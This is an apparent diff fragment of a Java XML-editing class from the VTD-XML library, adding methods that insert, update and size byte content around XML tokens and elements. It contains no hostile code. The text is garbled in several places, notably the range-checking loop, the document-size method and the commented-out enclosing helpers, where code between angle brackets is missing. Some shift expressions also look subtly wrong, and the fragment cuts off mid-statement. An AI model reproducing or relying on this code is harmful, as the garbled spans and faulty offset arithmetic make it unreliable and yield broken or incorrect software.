MASK_INSERT_BYTE); + fob.append(content); + } + + + /** + * Insert ns compensated element fragment into the document + * @param ef + * + */ + private void insertElementFragmentNsAt(int offset, ElementFragmentNs ef) throws ModifyException{ + if (insertHash.isUnique(offset)==false){ + throw new ModifyException("There can be only one insert per offset"); + } + flb.append((long)offset | MASK_INSERT_FRAGMENT_NS); + fob.append(ef); + } + + private void insertElementFragmentNsEnclosedAt(int offset, ElementFragmentNs ef) throws ModifyException{ + if (insertHash.isUnique(offset)==false){ + throw new ModifyException("There can be only one insert per offset"); + } + flb.append((long)offset | MASK_INSERT_FRAGMENT_NS_ENCLOSED); + fob.append(ef); + } + + /** + * Insert a segment of the byte content into XML + * @param offset + * @param content + * @param contentOffset + * @param contentLen + * @throws ModifyException + * + */ + public void insertBytesAt(int offset, byte[] content, int contentOffset, int contentLen) + throws ModifyException { + if (insertHash.isUnique(offset)==false){ + throw new ModifyException("There can be only one insert per offset"); + } + if (contentOffset < 0 + || contentLen <0 + || contentOffset+contentLen > content.length){ + throw new ModifyException("Invalid contentOffset and/or contentLen"); + } + flb.append( (long)offset | MASK_INSERT_SEGMENT_BYTE); + ByteSegment bs = new ByteSegment(); + bs.ba = content; + bs.len = contentLen; + bs.offset = contentOffset; + + fob.append(bs); + } + + /** + * + * @param offset + * @param content + * @param contentOffset + * @param contentLen + * @throws ModifyException + */ + private void insertBytesEnclosedAt(int offset, byte[] content, int contentOffset, int contentLen) + throws ModifyException { + if (insertHash.isUnique(offset)==false){ + throw new ModifyException("There can be only one insert per offset"); + } + if (contentOffset < 0 + || contentLen <0 + || contentOffset+contentLen > content.length){ + throw new ModifyException("Invalid contentOffset and/or contentLen"); + } + flb.append( (long)offset | MASK_INSERT_SEGMENT_BYTE_ENCLOSED); + ByteSegment bs = new ByteSegment(); + bs.ba = content; + bs.len = contentLen; + bs.offset = contentOffset; + fob.append(bs); + } + + /** + * Insert a segment of content into XML + * l (a long)'s upper 32 bit is length, lower 32 bit is offset + * @param offset + * @param content + * @param l + * @throws ModifyException + * + */ + private void insertBytesAt(int offset, byte[] content, long l) + throws ModifyException { + if (insertHash.isUnique(offset)==false){ + throw new ModifyException("There can be only one insert per offset"); + } + int contentOffset = (int)l; + int contentLen = (int)(l>>32); + if (contentOffset < 0 + || contentLen <0 + || contentOffset+contentLen > content.length){ + throw new ModifyException("Invalid contentOffset and/or contentLen"); + } + flb.append( (long)offset | MASK_INSERT_SEGMENT_BYTE); + ByteSegment bs = new ByteSegment(); + bs.ba = content; + bs.len = contentLen; + bs.offset = contentOffset; + fob.append(bs); + } + + private void insertBytesEnclosedAt(int offset, byte[] content, long l) + throws ModifyException { + if (insertHash.isUnique(offset)==false){ + throw new ModifyException("There can be only one insert per offset"); + } + int contentOffset = (int)l; + int contentLen = (int)(l>>32); + if (contentOffset < 0 + || contentLen <0 + || contentOffset+contentLen > content.length){ + throw new ModifyException("Invalid contentOffset and/or contentLen"); + } + flb.append( (long)offset | MASK_INSERT_SEGMENT_BYTE_ENCLOSED); + ByteSegment bs = new ByteSegment(); + bs.ba = content; + bs.len = contentLen; + bs.offset = contentOffset; + fob.append(bs); + } + + /** + * Update the token with the given byte array content, + * @param index + * @param newContentBytes + * @throws ModifyException + * @throws UnsupportedEncodingException + * + */ + public void updateToken(int index, byte[] newContentBytes) + throws ModifyException,UnsupportedEncodingException{ + if (newContentBytes==null) + throw new IllegalArgumentException + ("newContentBytes can't be null"); + int offset = md.getTokenOffset(index); + + int type = md.getTokenType(index); + /*int len = + (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME + || type == VTDNav.TOKEN_ATTR_NS) + ? md.getTokenLength(index) & 0xffff + : md.getTokenLength(index);*/ + // one insert + switch(type){ + case VTDNav.TOKEN_CDATA_VAL: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset-9,newContentBytes); + else + insertBytesAt((offset-9)>>1,newContentBytes); + break; + case VTDNav.TOKEN_COMMENT: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset-4,newContentBytes); + else + insertBytesAt((offset-4)>>1,newContentBytes); + break; + + default: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset,newContentBytes); + else + insertBytesAt(offset<<1,newContentBytes); + } + // one delete + removeToken(index); + } + + /** + * Update the token with the transcoded representation of + * given byte array content, + * @param index + * @param newContentBytes + * @throws ModifyException + * @throws UnsupportedEncodingException + * @throws TranscodeException + * + */ + public void updateToken(int index, byte[] newContentBytes, int src_encoding) + throws ModifyException,UnsupportedEncodingException,TranscodeException{ + if (src_encoding == encoding){ + updateToken(index,newContentBytes); + return; + } + if (newContentBytes==null) + throw new IllegalArgumentException + ("newContentBytes can't be null"); + int offset = md.getTokenOffset(index); + + int type = md.getTokenType(index); + /*int len = + (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME + || type == VTDNav.TOKEN_ATTR_NS) + ? md.getTokenLength(index) & 0xffff + : md.getTokenLength(index);*/ + // one insert + byte[] bo = Transcoder.transcode(newContentBytes,0, + newContentBytes.length,src_encoding,encoding); + switch(type){ + case VTDNav.TOKEN_CDATA_VAL: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset-9, bo); + else + insertBytesAt((offset-9)>>1, bo); + break; + case VTDNav.TOKEN_COMMENT: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset-4, bo); + else + insertBytesAt((offset-4)>>1, bo); + break; + + default: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset, bo); + else + insertBytesAt(offset<<1, bo); + } + // one delete + removeToken(index); + } + /** + * Update token with a segment of byte array (in terms of offset and length) + * @param index + * @param newContentBytes + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws UnsupportedEncodingException + * + */ + public void updateToken(int index, byte[] newContentBytes, int contentOffset, int contentLen) + throws ModifyException,UnsupportedEncodingException{ + if (newContentBytes==null) + throw new IllegalArgumentException + ("newContentBytes can't be null"); + + int offset = md.getTokenOffset(index); + //int len = md.getTokenLength(index); + int type = md.getTokenType(index); + /*int len = + (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME + || type == VTDNav.TOKEN_ATTR_NS) + ? md.getTokenLength(index) & 0xffff + : md.getTokenLength(index);*/ + // one insert + switch(type){ + case VTDNav.TOKEN_CDATA_VAL: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset-9,newContentBytes,contentOffset, contentLen); + else + insertBytesAt((offset-9)<<1,newContentBytes,contentOffset, contentLen); + break; + case VTDNav.TOKEN_COMMENT: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset-4,newContentBytes,contentOffset, contentLen); + else + insertBytesAt((offset-4)<<1,newContentBytes,contentOffset, contentLen); + break; + + default: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset,newContentBytes,contentOffset, contentLen); + else + insertBytesAt(offset<<1,newContentBytes,contentOffset, contentLen); + } + // one delete + removeToken(index); +} + + /** + * Update token with the transcoded representation of + * a segment of byte array (in terms of offset and length) + * @param index + * @param newContentBytes + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws UnsupportedEncodingException + * @throws TranscodeException + * + */ + public void updateToken(int index, byte[] newContentBytes, + int contentOffset, int contentLen, int src_encoding) + throws ModifyException,UnsupportedEncodingException, TranscodeException{ + + if (src_encoding == encoding) { + updateToken(index, newContentBytes, contentOffset, contentLen); + return; + } + if (newContentBytes == null) + throw new IllegalArgumentException("newContentBytes can't be null"); + + int offset = md.getTokenOffset(index); + //int len = md.getTokenLength(index); + int type = md.getTokenType(index); + /*int len = (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME || type == VTDNav.TOKEN_ATTR_NS) ? md + .getTokenLength(index) & 0xffff + : md.getTokenLength(index);*/ + + // one insert + byte[] bo = Transcoder.transcode(newContentBytes,contentOffset, + contentLen, src_encoding, encoding); + + switch (type) { + case VTDNav.TOKEN_CDATA_VAL: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset - 9, bo); + else + insertBytesAt((offset - 9) << 1, bo); + break; + case VTDNav.TOKEN_COMMENT: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset - 4, bo); + else + insertBytesAt((offset - 4) << 1, bo); + break; + + default: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset, bo); + else + insertBytesAt(offset << 1, bo); + } + // one delete + removeToken(index); + } + + /** + * Update token with the transcoded representation of + * a segment of byte array contained in vn (in terms of offset and length) + * @param index + * @param vn + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws UnsupportedEncodingException + * @throws TranscodeException + * + */ + + public void updateToken(int index, VTDNav vn, + int contentOffset, int contentLen) + throws ModifyException,UnsupportedEncodingException, TranscodeException{ + updateToken(index, vn.XMLDoc.getBytes(), contentOffset, contentLen, vn.encoding); + } + + + + + /** + * Update the token with the given string value, + * notice that string will be converted into byte array + * according to the encoding of the master document + * @param index + * @param newContent + * @throws ModifyException + * @throws UnsupportedEncodingException + * + */ + + public void updateToken(int index, String newContent) + throws ModifyException,UnsupportedEncodingException{ + if (newContent==null) + throw new IllegalArgumentException + ("String newContent can't be null"); + int offset = md.getTokenOffset(index); + //int len = md.getTokenLength(index); + int type = md.getTokenType(index); + /*int len = + (type == VTDNav.TOKEN_STARTING_TAG + || type == VTDNav.TOKEN_ATTR_NAME + || type == VTDNav.TOKEN_ATTR_NS) + ? md.getTokenLength(index) & 0xffff + : md.getTokenLength(index);*/ + // one insert + switch(type){ + case VTDNav.TOKEN_CDATA_VAL: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset-9,newContent.getBytes(charSet)); + else + insertBytesAt((offset-9)<<1,newContent.getBytes(charSet)); + break; + case VTDNav.TOKEN_COMMENT: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset-4,newContent.getBytes(charSet)); + else + insertBytesAt((offset-4)<<1,newContent.getBytes(charSet)); + break; + + default: + if (encoding < VTDNav.FORMAT_UTF_16BE) + insertBytesAt(offset,newContent.getBytes(charSet)); + else + insertBytesAt(offset<<1,newContent.getBytes(charSet)); + } + // one delete + removeToken(index); + } + + + + + /** + * + * + * + */ + protected void sort(){ + if (flb.size>0) + quickSort(0,flb.size-1); + } + + /** + * + * This function will do the range checking and make + * sure there is no overlapping or invalid deletion + * There can be only one deletion at one offset value + * Delete can't overlap with, nor contains, another delete + * + */ + protected void check() throws ModifyException{ + int os1, os2, temp; + int size = flb.size; + + for (int i=0;i os1 && temp <= os2) { + int k= flb.lower32At(i+z)+ (flb.upper32At(i+z)& 0x1fffffff)-1; + if (k>os2) + // take care of overlapping conditions + throw new ModifyException + ("Invalid insertion/deletion condition detected between offset " + +os1 + " and offset "+os2); + else + flb.modifyEntry(i+z,(flb.longAt(i+z)& 0x1fffffffffffffffL)|MASK_NULL); + //System.out.println(" hex ==> "+Long.toHexString(flb.longAt(k+z))); + z++; + } else + break; + } + i+=z; + } + } + /** + * Compute the size of the updated XML document without composing it + * @return updated document size + * + */ + public int getUpdatedDocumentSize() throws ModifyException,TranscodeException{ + int size = flb.size; + int docSize = md.getXML().getBytes().length; + int inc = (md.encoding> 32); + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_BYTE){ + docSize += ((byte[])fob.objectAt(i)).length; + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_SEGMENT_BYTE){ + // MASK_INSERT_SEGMENT_BYTE + docSize += ((ByteSegment)fob.objectAt(i)).len; + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_FRAGMENT_NS) { + docSize += ((ElementFragmentNs)fob.objectAt(i)).getSize(md.encoding); + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_BYTE_ENCLOSED){ + docSize += ((byte[])fob.objectAt(i)).length+inc; + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_SEGMENT_BYTE_ENCLOSED){ + docSize += ((ByteSegment)fob.objectAt(i)).len+inc; + } else if ((l & (~0x1fffffffffffffffL)) == MASK_INSERT_FRAGMENT_NS_ENCLOSED) { + docSize += ((ElementFragmentNs)fob.objectAt(i)).getSize(md.encoding)+inc; + } + } + return docSize; + } + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the byte array b after the element + * @param b + * @throws ModifyException + * @throws NavException + * + */ + public void insertAfterElement(byte[] b) + throws ModifyException,NavException{ + int startTagIndex =md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type!=VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + long l = md.getElementFragment(); + int offset = (int)l; + int len = (int)(l>>32); + insertBytesAt(offset+len,b); + } + + /** + * + * @param l + * @throws ModifyException + */ + private void insertEndingTag(long l) throws ModifyException{ + int i = md.getCurrentIndex(); + int offset = md.getTokenOffset(i); + int length = md.getTokenLength(i)&0xffff; + byte[] xml = md.getXML().getBytes(); + if (md.encoding '; + out[out.length-1]='<'; + System.arraycopy(ba, 0, out, 1, ba.length); + return out; + }else if (md.encoding == VTDNav.FORMAT_UTF_16BE){ + out = new byte[ba.length+4]; + out[1]=(byte)'>'; + out[out.length-1]='<'; + + }else{ + out = new byte[ba.length+4]; + out[0]=(byte)'>'; + out[out.length-2]='<'; + } + System.arraycopy(ba, 0, out, 2, ba.length); + return out; + }*/ + + /*private byte[] getEnclosedBytes(byte[] ba, int offset, int length) { + byte[] out; + if (md.encoding'; + out[out.length-1]='<'; + System.arraycopy(ba, 0, out, 1, ba.length); + return out; + }else if (md.encoding == VTDNav.FORMAT_UTF_16BE){ + out = new byte[length+4]; + out[1]=(byte)'>'; + out[out.length-1]='<'; + + }else{ + out = new byte[length+4]; + out[0]=(byte)'>'; + out[out.length-2]='<'; + } + System.arraycopy(ba, 0, out, offset, length); + return out; + }*/ + + /** + * This method will insert byte array b after the head of cursor element, + * @param b + * @return + * @throws ModifyException + * @throws NavException + * + */ + + public void insertAfterHead(byte[] b) + throws ModifyException,NavException{ + long i = md.getOffsetAfterHead(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + // handle empty element case + // would become b's content + // so there are two insertions there + insertBytesEnclosedAt((int)i-1,b); + insertEndingTag(i); + return; + } + insertBytesAt((int)i,b); + } + /** + * This method will insert byte array b right before the tail of cursor element, + * @param b + * @throws ModifyException + * @throws NavException + */ + public void insertBeforeTail(byte[] b) + throws ModifyException,NavException { + long i = md.getOffsetBeforeTail(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + // handle empty element case + // would become b's content + // so there are two insertions there + insertAfterHead(b); + return; + } + insertBytesAt((int)i,b); + } + /** + * This method will insert byte content of string right before the tail of cursor element, + * @param s + * @throws ModifyException + * @throws NavException + */ + public void insertBeforeTail(String s) + throws ModifyException,UnsupportedEncodingException,NavException { + long i = md.getOffsetBeforeTail(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + // handle empty element case + // would become b's content + // so there are two insertions there + insertAfterHead(s.getBytes(charSet)); + return; + } + insertBytesAt((int)i,s.getBytes()); + } + /** + * This method will insert the transcoded representation of byte array b right before the tail of cursor element, + * @param src_encoding + * @param b + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + */ + public void insertBeforeTail(int src_encoding, byte[] b) + throws ModifyException, NavException,TranscodeException { + if(src_encoding == encoding){ + insertBeforeTail(b); + }else{ + long i = md.getOffsetBeforeTail(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + insertAfterHead(src_encoding,b); + return; + } + byte[] bo = Transcoder.transcode(b, 0, b.length, src_encoding, encoding); + insertBytesAt((int)i,bo); + } + } + /** + * This method will insert the transcoded representation of a segment of byte array b right before the tail of cursor element, + * @param src_encoding + * @param b + * @param offset + * @param length + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + */ + public void insertBeforeTail(int src_encoding, byte[] b, int offset, int length) + throws ModifyException, NavException,TranscodeException { + if(src_encoding == encoding){ + insertAfterHead(b,offset,length); + }else{ + long i = md.getOffsetBeforeTail(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + insertAfterHead(src_encoding,b,offset, length); + return; + } + byte[] bo = Transcoder.transcode(b, offset, length, src_encoding, encoding); + insertBytesAt((int)i,bo,offset, length); + } + } + + /** + * This method will insert a segment of the byte array (contained in vn, and + * transcode into a byte array) before the tail of cursor element, + * @param vn + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + */ + public void insertBeforeTail(VTDNav vn, int contentOffset, int contentLen) + throws ModifyException, NavException,TranscodeException { + insertBeforeTail(vn.XMLDoc.getBytes(),contentOffset, contentLen); + } + /** + * This method will insert the transcoded representation of a segment of the byte array before the tail of cursor element, + * l1 (a long)'s upper 32 bit is length, lower 32 bit is offset + * @param src_encoding + * @param b + * @param l + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + */ + public void insertBeforeTail(int src_encoding, byte[] b, long l) + throws ModifyException, NavException,TranscodeException { + if(src_encoding == encoding){ + insertBeforeTail(b,l); + }else{ + long i = md.getOffsetBeforeTail(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + insertAfterHead(src_encoding,b,l); + return; + } + byte[] bo = Transcoder.transcode(b, (int)l, (int)l>>32, src_encoding, encoding); + insertBytesAt((int)i,bo,l); + } + } + /** + * This method will insert a segment of the byte array before the tail of cursor element, + * l1 (a long)'s upper 32 bit is length, lower 32 bit is offset + * @param b + * @param l + * @throws ModifyException + * @throws NavException + */ + public void insertBeforeTail(byte[] b, long l) + throws ModifyException,NavException{ + long i = md.getOffsetBeforeTail(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + insertAfterHead(b,l); + return; + } + insertBytesAt((int)i,b,l); + } + /** + * This method will insert a namespace compensated fragment before the tail of cursor element, + * @param ef + * @throws ModifyException + * @throws NavException + */ + public void insertBeforeTail(ElementFragmentNs ef) + throws ModifyException, NavException{ + long i = md.getOffsetBeforeTail(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + insertAfterHead(ef); + return; + } + insertElementFragmentNsAt((int)i, ef); + } + + /** + * This method will insert a segment of the byte array (contained in vn, and + * transcode into a byte array) before the tail of cursor element, + * l1 (a long)'s upper 32 bit is length, lower 32 bit is offset + * + * @param vn + * @param l1 + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + */ + public void insertBeforeTail(VTDNav vn, long l1) throws ModifyException, + NavException, TranscodeException { + insertBeforeTail(vn.encoding, vn.XMLDoc.getBytes(), l1); + } + + /** + * This method will insert a segment of the byte array before the tail of cursor element, + * @param b + * @param offset + * @param len + * @throws ModifyException + * @throws NavException + */ + public void insertBeforeTail(byte[] b, int offset, int len) + throws ModifyException,NavException{ + long i = md.getOffsetBeforeTail(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + insertAfterHead(b, offset, len); + return; + } + insertBytesAt((int)i,b,offset, len); + } + /** + * This method will insert the transcoded representation of + * byte array b after the head of cursor element, + * @param src_encoding + * @param b + * @return + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterHead(int src_encoding, byte[] b) + throws ModifyException, NavException,TranscodeException { + if(src_encoding == encoding){ + insertAfterHead(b); + }else{ + long i = md.getOffsetAfterHead(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + byte[] bo = Transcoder.transcode(b, 0, b.length, src_encoding, encoding); + insertBytesEnclosedAt((int)i-1,bo); + insertEndingTag(i); + return; + } + byte[] bo = Transcoder.transcode(b, 0, b.length, src_encoding, encoding); + insertBytesAt((int)i,bo); + } + } + /** + * This method will insert the transcoded representation of + * a segment of the byte array b after the head of cursor element, + * @param src_encoding + * @param b + * @param offset + * @param length + * @return + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterHead(int src_encoding, byte[] b, int offset, int length) + throws ModifyException, NavException,TranscodeException { + if(src_encoding == encoding){ + insertAfterHead(b,offset,length); + }else{ + long i = md.getOffsetAfterHead(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + byte[] bo = Transcoder.transcode(b, offset, length, src_encoding, encoding); + insertBytesEnclosedAt((int)i-1,bo); + insertEndingTag(i); + return; + } + byte[] bo = Transcoder.transcode(b, offset, length, src_encoding, encoding); + insertBytesAt((int)i,bo,offset, length); + } + } + /** + * This method will insert the transcoded representation of + * a segment of the byte array b after the head of cursor element, + * @param src_encoding + * @param b + * @param l + * @return + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterHead(int src_encoding, byte[] b, long l) + throws ModifyException, NavException,TranscodeException { + if(src_encoding == encoding){ + insertAfterHead(b,l); + }else{ + long i = md.getOffsetAfterHead(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + byte[] bo = Transcoder.transcode(b, (int)l, (int)l>>32, src_encoding, encoding); + insertBytesEnclosedAt((int)i-1,bo,l); + insertEndingTag(i); + return; + } + byte[] bo = Transcoder.transcode(b, (int)l, (int)l>>32, src_encoding, encoding); + insertBytesAt((int)i,bo,l); + } + } + + + /** + * This method will insert s' byte array representation + * of the string after the head of cursor element, + * @param s + * @return + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterHead(String s) + throws ModifyException, UnsupportedEncodingException, NavException{ + long i = md.getOffsetAfterHead(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + insertBytesEnclosedAt((int)i-1,s.getBytes(charSet)); + insertEndingTag(i); + return; + } + insertBytesAt((int)i,s.getBytes(charSet)); + } + + + /** + * This method will insert a segment of the byte array b (contained in vn, and + * transcode into a byte array) after the head of cursor element, + * @param vn + * @param contentOffset in byte + * @param contentLen in byte + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterHead(VTDNav vn, int contentOffset, int contentLen) + throws ModifyException, NavException,TranscodeException { + insertAfterHead(vn.encoding,vn.XMLDoc.getBytes(),contentOffset, contentLen); + } + + /** + * This method will insert a segment of the byte array b after the head of cursor element, + * @param b + * @param offset + * @param len + * @throws ModifyException + * @throws NavException + * + */ + public void insertAfterHead(byte[] b, int offset, int len) + throws ModifyException,NavException{ + long i = md.getOffsetAfterHead(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + insertBytesEnclosedAt((int)i-1,b, offset,len ); + insertEndingTag(i); + return; + } + insertBytesAt((int)i,b,offset, len); + } + + /** + * This method will insert a segment of the byte array b after the head of cursor element + * @param b + * @param l + * @throws ModifyException + * @throws NavException + * + */ + public void insertAfterHead(byte[] b, long l) + throws ModifyException,NavException{ + long i = md.getOffsetAfterHead(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + insertBytesEnclosedAt((int)i-1,b, (int)l,(int)(l<<32)); + insertEndingTag(i); + return; + } + insertBytesAt((int)i,b,l); + } + + /** + * This method will insert an ElementFragmentNs instance + * after the head of cursor element, + * @param efn + * @throws ModifyException + * @throws NavException + * + */ + public void insertAfterHead(ElementFragmentNs ef) + throws ModifyException, NavException{ + long i = md.getOffsetAfterHead(); + if (i<0){ + //throw new ModifyException("Insertion failed"); + insertElementFragmentNsEnclosedAt((int)i-1, ef); + insertEndingTag(i); + return; + } + insertElementFragmentNsAt((int)i, ef); + } + + + + /** + * Insert a namespace compensated element after cursor element + * @param ef (an ElementFragmentNs object) + * @throws ModifyException + * @throws NavException + * + */ + public void insertAfterElement(ElementFragmentNs ef) + throws ModifyException, NavException { + int startTagIndex = md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + long l = md.getElementFragment(); + int offset = (int) l; + int len = (int) (l >> 32); + insertElementFragmentNsAt(offset + len, ef); + } + + + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert a segment of the byte array b after the element + * @param b + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws NavException + * + */ + public void insertAfterElement(byte[] b, int contentOffset, int contentLen) + throws ModifyException, NavException { + + int startTagIndex = md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + long l = md.getElementFragment(); + int offset = (int) l; + int len = (int) (l >> 32); + insertBytesAt(offset + len, b, contentOffset, contentLen); + } + + + + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the transcoded array of bytes of a segment of the byte array b after the element + * @param b + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterElement(int src_encoding, byte[] b, int contentOffset, int contentLen) + throws ModifyException, NavException,TranscodeException { + if (src_encoding == encoding) { + insertAfterElement(b,contentOffset,contentLen); + } else { + int startTagIndex = md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + long l = md.getElementFragment(); + int offset = (int) l; + int len = (int) (l >> 32); + // transcode in here + byte[] bo = Transcoder.transcode(b, contentOffset, contentLen, src_encoding, encoding); + insertBytesAt(offset + len, bo); + } + } + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the transcoded array of bytes of a segment of the byte array b after the element + * the VTDNav object is the container of the XML document in byte array + * + * @param vn + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws UnsupportedEncodingException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterElement(VTDNav vn, int contentOffset, int contentLen) + throws ModifyException, UnsupportedEncodingException, NavException,TranscodeException { + insertAfterElement(vn.encoding,vn.XMLDoc.getBytes(),contentOffset, contentLen); + } + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert a segment of the byte array b after the element, + * l1 (a long)'s upper 32 bit is length, lower 32 bit is offset + * @param b + * @param contentOffset + * @param contentLen + * @throws ModifyException + * @throws NavException + * + */ + public void insertAfterElement(byte[] b, long l1) + throws ModifyException,NavException { + int startTagIndex = md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + long l = md.getElementFragment(); + int offset = (int) l; + int len = (int) (l >> 32); + insertBytesAt(offset + len, b, l1); + } + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert a segment of the byte array b (transcode into a byte array) after the element, + * l1 (a long)'s upper 32 bit is length, lower 32 bit is offset + * @param b + * @param l1 + * @throws ModifyException + * @throws UnsupportedEncodingException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterElement(int src_encoding, byte[] b, long l1) throws ModifyException, + UnsupportedEncodingException, NavException, TranscodeException { + if (src_encoding == encoding){ + insertAfterElement(b,l1); + } else { + int startTagIndex = md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type != VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + long l = md.getElementFragment(); + int offset = (int) l; + int len = (int) (l >> 32); + byte[] bo = Transcoder.transcode(b, (int)l, (int)l>>32, src_encoding, encoding); + insertBytesAt(offset + len, bo, l1); + } + } + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert a segment of the byte array b (contained in vn, and + * transcode into a byte array) after the element, + * l1 (a long)'s upper 32 bit is length, lower 32 bit is offset + * @param vn + * @param l1 + * @throws ModifyException + * @throws UnsupportedEncodingException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterElement(VTDNav vn, long l1) throws ModifyException, + UnsupportedEncodingException, NavException, TranscodeException { + insertAfterElement(vn.encoding, vn.XMLDoc.getBytes(), l1); + } + + /** + * This method will insert a segment of the byte array b (contained in vn, and + * transcode into a byte array) after the head of cursor element, + * @param vn + * @param l1 + * @return + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterHead(VTDNav vn, long l1) throws ModifyException, + NavException, TranscodeException { + insertAfterHead(vn.encoding, vn.XMLDoc.getBytes(), l1); + } + + /** + * Insert a byte array of given encoding into the master document + * transcoding is done underneath to ensure the correctness of output + * @param encoding The encoding format of the byte array + * @param b + * @throws ModifyException + * @throws NavException + * @throws TranscodeException + * + */ + public void insertAfterElement(int src_encoding, byte[] b) + throws ModifyException, NavException,TranscodeException { + if(src_encoding == encoding){ + insertAfterElement(b); + } + else { + int startTagIndex =md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type!=VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + long l = md.getElementFragment(); + int offset = (int)l; + int len = (int)(l>>32); + // transcoding logic + byte[] bo = Transcoder.transcode(b, 0, b.length, src_encoding, encoding); + insertBytesAt(offset+len,bo); + } + } + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the byte value of s after the element + * @param s the string whose byte content will be inserted into the master document + * + */ + public void insertAfterElement(String s) + throws ModifyException,UnsupportedEncodingException,NavException{ + int startTagIndex =md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type!=VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + long l = md.getElementFragment(); + int offset = (int)l; + int len = (int)(l>>32); + insertBytesAt(offset+len,s.getBytes(charSet)); + } + + /** + * This method will first call getCurrentIndex() to get the cursor index value + * then insert the byte array b before the element + * @param b the byte array to be inserted into the master document + * @throws ModifyException + * + */ + public void insertBeforeElement(byte[] b) + throws ModifyException{ + int startTagIndex =md.getCurrentIndex(); + int type = md.getTokenType(startTagIndex); + if (type!=VTDNav.TOKEN_STARTING_TAG) + throw new ModifyException("Token type is not a starting tag"); + + int offset = md.getTokenOffset(startTagIndex)-1; + + if (encoding < 